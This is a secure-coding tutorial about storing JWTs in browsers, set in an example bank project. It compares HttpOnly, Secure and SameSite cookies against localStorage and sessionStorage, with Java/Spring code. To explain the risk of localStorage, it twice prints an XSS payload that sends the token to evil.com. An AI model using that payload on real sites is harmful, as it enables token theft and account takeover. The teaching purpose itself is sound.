Definition
- HttpOnly cookie – the server sets the cookie with the
HttpOnlyflag, making it invisible todocument.cookieand all JavaScript; this is the safest storage for browser-based JWTs. - Secure flag – ensures the cookie is only transmitted over HTTPS, preventing interception on plain HTTP.
- SameSite attribute –
StrictorLaxprevents the browser from attaching the cookie to cross-site requests, blocking most CSRF attacks. - localStorage – a JavaScript-accessible key-value store that persists across tabs and restarts; readable by any script, so one XSS flaw leaks the token.
- sessionStorage – scoped to one tab and cleared on close; still fully readable by JavaScript, so XSS risk remains.
Storing a JWT in localStorage is like leaving Rajesh's cheque book on the open counter of National Bank of India: any clerk (any script) passing by can grab it. Storing it in an HttpOnly cookie is like keeping the cheque book in a sealed drawer that only the bank's own back-office machinery can open; the counter staff and visitors cannot reach inside. The sealed drawer is safer, but because it opens automatically for every transaction, the bank adds a second check (SameSite and CSRF tokens) so a trickster cannot make the drawer open for the wrong request.
Understanding the Concepts
What is an HttpOnly cookie and why is it the safest?
An HttpOnly cookie is a cookie with the HttpOnly flag set by the server. This flag tells the browser to hide the cookie from JavaScript entirely. document.cookie cannot see it, and no script can read its value.
This means that even if an attacker injects malicious JavaScript via XSS, they cannot steal the token because it is invisible to scripts. The cookie is still sent automatically by the browser on every request to the domain.
package com.bank.security;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;
public class SecureCookieHelper {
public static void setJwtCookie(HttpServletResponse response, String jwt) {
Cookie cookie = new Cookie("jwt", jwt);
cookie.setHttpOnly(true); // JavaScript cannot read it
cookie.setSecure(true); // HTTPS only
cookie.setPath("/");
cookie.setMaxAge(900); // 15 minutes
// SameSite set via response header (Servlet API limitation)
response.addCookie(cookie);
response.setHeader("Set-Cookie",
"jwt=" + jwt
+ "; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900");
}
}
Response header:
Set-Cookie: jwt=eyJhbGci...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
JavaScript attempt:
console.log(document.cookie); // "" -- cookie is invisible!
Why is localStorage vulnerable to XSS?
localStorage is a plain JavaScript-accessible key-value store. Reading the token is as easy as localStorage.getItem("jwt"). Any injected script, from a compromised dependency, a bad ad, or a reflected XSS, can read and exfiltrate it.
localStorage persists until explicitly cleared and is shared across tabs and browser restarts, so a stolen token remains valid for its entire lifetime.
// This is what happens in the browser with localStorage:
// JavaScript:
// localStorage.setItem('jwt', token);
// // Any script on the page can do:
// const stolen = localStorage.getItem('jwt');
// fetch('https://evil.com/?token=' + stolen);
// The token is fully exposed to any JavaScript!
// One XSS vulnerability = full token theft = account takeover.
XSS attack with localStorage:
1. Attacker injects: <script>fetch('https://evil.com/?t='+localStorage.getItem('jwt'))</script>
2. Victim's browser runs the script.
3. Token sent to attacker's server.
4. Attacker uses token to access victim's bank account.
How is sessionStorage different from localStorage?
sessionStorage is scoped to one tab and cleared when the tab closes. This slightly reduces exposure because the token does not persist across browser restarts. However, it is still fully readable by JavaScript, so the XSS risk is identical while the tab is open.
| Aspect | localStorage | sessionStorage | HttpOnly Cookie |
|---|---|---|---|
| Persistence | Until cleared | Until tab close | Until Max-Age/expiry |
| Tab scope | Shared across tabs | Per-tab only | Shared across tabs |
| JS accessible | Yes | Yes | No (HttpOnly) |
| XSS risk | High | High (while tab open) | Protected |
| CSRF risk | None (manual attach) | None (manual attach) | Needs SameSite |
| Recommended | No | No | Yes |
package com.bank.security;
// Demonstrating the three storage approaches
// JavaScript equivalent for each:
// localStorage (DANGEROUS):
// localStorage.setItem('jwt', token);
// fetch('/api', {headers: {'Authorization': 'Bearer ' + localStorage.getItem('jwt')}});
// sessionStorage (STILL DANGEROUS):
// sessionStorage.setItem('jwt', token);
// Same XSS risk while the tab is open.
// HttpOnly cookie (SAFE):
// Server sets cookie with HttpOnly flag.
// Browser automatically attaches it. No JavaScript needed.
// No JavaScript CAN read it. XSS cannot steal it.
What is the SameSite attribute and why does it matter?
Because HttpOnly cookies are sent automatically by the browser, they introduce a CSRF risk: a malicious site can trigger a request to the bank, and the browser will attach the cookie. The SameSite attribute prevents this.
SameSite=Strict means the cookie is never sent on cross-site requests. SameSite=Lax allows the cookie on top-level navigations (like clicking a link) but not on POST requests from other sites.
package com.bank.config;
import org.springframework.boot.web.servlet.server.CookieSameSiteSupplier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class CookieConfig {
@Bean
public CookieSameSiteSupplier cookieSameSiteSupplier() {
return CookieSameSiteSupplier.ofStrict(); // SameSite=Strict for all cookies
}
}
Without SameSite:
evil.com submits form to bank.com --> browser attaches cookie --> CSRF succeeds
With SameSite=Strict:
evil.com submits form to bank.com --> browser refuses to attach cookie --> CSRF blocked
What is the recommended approach for SPAs?
For single-page apps that need header-based tokens, the best approach is a hybrid: keep the access token only in a JavaScript variable in memory (never persisted) and keep the refresh token in an HttpOnly cookie scoped to the refresh endpoint.
When the access token expires or the page is refreshed, the SPA calls the refresh endpoint. The browser sends the HttpOnly refresh cookie automatically, and the server returns a new access token.
package com.bank.controller;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SpaTokenController {
@PostMapping("/auth/refresh")
public String refresh(
@CookieValue("refresh_token") String refreshToken,
HttpServletResponse response) {
// Validate refresh token server-side
String user = refreshTokenService.validate(refreshToken);
// Issue new access token (returned in response body, stored in memory)
String newAccessToken = accessTokenService.issue(user);
// Issue new refresh token (HttpOnly cookie)
String newRefreshToken = refreshTokenService.rotate(refreshToken);
response.setHeader("Set-Cookie",
"refresh_token=" + newRefreshToken
+ "; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh");
return "{\"accessToken\":\"" + newAccessToken + "\"}";
}
}
What about mobile apps?
Mobile apps do not have browser storage. Tokens should be stored in the platform's secure storage: iOS Keychain or Android Keystore. These are encrypted at the OS level and inaccessible to other apps.
iOS: Keychain Services (encrypted, per-app sandbox)
Android: EncryptedSharedPreferences backed by Android Keystore
Web: HttpOnly + Secure + SameSite cookie
NEVER:
localStorage (XSS-vulnerable)
sessionStorage (XSS-vulnerable)
SharedPreferences (Android, not encrypted by default)
What are common mistakes?
The most common mistake is putting a long-lived token in localStorage for convenience. In banking, one XSS vulnerability equals full account takeover.
// WRONG: token in localStorage
// JavaScript: localStorage.setItem('jwt', token);
// XSS steals it. Attacker has full access for the token's lifetime.
// WRONG: refresh token in localStorage
// Even worse: attacker has indefinite access via refresh.
// CORRECT: HttpOnly cookie for refresh, memory for access
// JavaScript: let accessToken = response.accessToken; // in-memory variable
// Refresh token: Set-Cookie: HttpOnly; Secure; SameSite=Strict
Another mistake is setting SameSite=None without understanding the CSRF implications. This disables the cross-site protection entirely.
What should a senior engineer know?
Senior engineers know that HttpOnly cookies are the recommended default for web apps, combined with SameSite plus CSRF tokens for defense in depth on state-changing endpoints. They understand that the cookie-vs-header trade-off is really an XSS-vs-CSRF trade-off, and since XSS has a larger attack surface and higher blast radius, protecting against XSS (HttpOnly) is more important.
Senior engineers also implement cookie security headers like __Host- prefix, which enforces Secure, Path=/, and no Domain attribute, making the cookie as locked down as possible.
Visual Overview
localStorage (DANGEROUS):
┌──────────────┐ ┌───────────────┐
│ JavaScript │ ────►│ localStorage │
│ (any script)│ read │ jwt=eyJhb... │
│ │◄──── │ │
│ XSS steals │ └───────────────┘
│ the token! │
└──────────────┘
HttpOnly Cookie (SAFE):
┌──────────────┐ ┌───────────────┐
│ JavaScript │ ──X──│ HttpOnly │
│ (any script)│ BLOCK│ Cookie │
│ │ │ jwt=eyJhb... │
│ CANNOT read │ └───────┬───────┘
└──────────────┘ │
│ auto-attached
▼
┌───────────────┐
│ Server │
│ reads cookie │
└───────────────┘
SPA Recommended Pattern:
┌──────────────────┐
│ Browser (SPA) │
│ │
│ Access Token: │ ◄── in-memory variable (JS)
│ let at = "..."; │ lost on refresh (safe)
│ │
│ Refresh Token: │ ◄── HttpOnly cookie
│ (invisible to │ scoped to /auth/refresh
│ JavaScript) │
└────────┬─────────┘
│
│ AT expired? Call /auth/refresh
│ Browser auto-sends RT cookie
▼
┌──────────────────┐
│ Auth Server │
│ Validates RT │
│ Issues new AT │ ──► returned in body
│ Rotates RT │ ──► new HttpOnly cookie
└──────────────────┘
Key Takeaway
The safest place to keep a JWT in a browser is an HttpOnly, Secure, SameSite cookie. HttpOnly means JavaScript cannot read the cookie through document.cookie, so even a successful cross-site scripting attack cannot steal the token. Secure means the cookie only travels over HTTPS. SameSite, set to Strict or Lax, means the browser will not attach the cookie to requests that originate from other sites, which blocks the classic CSRF attack. Storing the token in localStorage or sessionStorage instead makes it readable by any script on the page, so a single XSS flaw hands the attacker the token.
In the National Bank of India project, this distinction is critical because the blast radius of a stolen token is full account access. With localStorage a simulated malicious script reads the token in one line, which in the real world means account takeover. With the HttpOnly cookie the same script gets nothing because the browser hides it from JavaScript.
The trade-off is that cookies are sent automatically, which is convenient but opens CSRF. SameSite closes that by refusing to send the cookie on cross-site requests, and for sensitive state-changing endpoints a CSRF token is added for defense in depth. localStorage avoids CSRF because the app attaches the token manually, but that is a poor consolation because XSS is far more common and far more damaging.
For SPAs that must use header-based tokens, the recommendation is to keep the access token only in a JavaScript variable in memory, which is lost on refresh and never persisted, and keep the refresh token in an HttpOnly cookie. For native mobile apps, tokens go in the platform secure storage like Keychain or Keystore.
Remember one sentence: store tokens in HttpOnly, Secure, SameSite cookies so JavaScript cannot steal them, and treat localStorage as one XSS away from full account takeover.
---